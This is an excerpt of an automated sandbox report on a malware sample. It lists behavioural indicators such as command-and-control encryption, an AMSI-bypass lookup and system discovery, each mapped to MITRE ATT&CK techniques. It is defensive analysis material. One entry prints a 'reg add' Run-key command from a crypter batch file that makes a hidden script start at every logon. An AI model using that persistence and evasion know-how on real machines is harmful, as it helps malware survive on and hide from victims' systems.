\"do4x3zh4.0.cs\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00001132-00000BC0-1107645899\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00001132.00000000.134891.76850000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found reference to \"ECDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00001132.00000000.134891.76850000.00000004.mdmp, 00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found reference to \"[System.Security.Cryptography.HashAlgorithm]\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00001132.00000001.135191.76A10000.00000004.mdmp\")\n Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00003984.00000001.136212.9D0B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$28","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"$29","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00001132.00000001.135191.D9E90000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00001132.00000001.135191.D9F20000.00000004.mdmp\")\n Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003984.00000001.136212.D9EB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: The input file contains long base64 encoded strings\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2a","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001132-00000C2B-1108910474\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001132-00000C2B-1109935531\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001132-00000C2B-1108910474\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001132-00000C2B-1109935531\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001132-00000C2B-1107404112\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001132-00000C2B-1107404701\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001132-00000C2B-1111338528\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001132-00000C2B-1111338564\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosErrorNoTeb\" in \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00001132-00000C2B-1109770915\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00001132-00000C2B-1109770976\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001132)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00002212)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002212)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001132)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003984)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002212)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003400)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001132)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"powershell.exe\" called \"OpenMutexW\" with parameter \"a1804de5bb_Mtx\" - (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001132)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001132)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00003984)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00003984)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00008016)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001132)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00001132)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003984)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003984)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00008016)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp\n 00000000-00003984.00000001.136212.9D07F000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00003400-00000C17-1104996060\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00001132-00000C17-1113703568\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00003984-00000C17-1128364841\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00008016-00000C17-1139758292","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$31","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001132)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003984)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\do4x3zh4 (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$32","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134066914209726639.1132.DefaultAppDomain.powershell\" - (UID: 00000000-00001132)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134066923205482645.3984.DefaultAppDomain.powershell\" - (UID: 00000000-00003984)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134066929284379487.8016.DefaultAppDomain.powershell\" - (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$33","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$34","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"STAZ520_Crypter_Install.bat\")\n Found string \"reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"731d8cc2b9\" /t REG_SZ /d \"cmd.exe /c \\\"!e93cac47d8!\\\"\" /f >nul 2>&1\" (Indicator: \"cmd.exe /c\"; File: \"STAZ520_Crypter_Install.bat\")\n Found string \"reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"731d8cc2b9\" /t REG_SZ /d \"cmd.exe /c \\\"%USERPROFILE%\\AppData\\\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003400-00000C46-27447667653\")\n Found string \"cmd.exe /c \"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat\"\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00007468-00000BC1-1116380310\")\n Found string \"reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"731d8cc2b9\" /t REG_SZ /d \"cmd.exe /c \\\"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat\\\"\" /f\" (Indicator: \"cmd.exe /c\"; File: \"reg.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"do4x3zh4.0.cs\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$35","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"powershell.exe\" with parameter %TEMP%\\do4x3zh4 (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$36","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"$37","origin":"Monitored 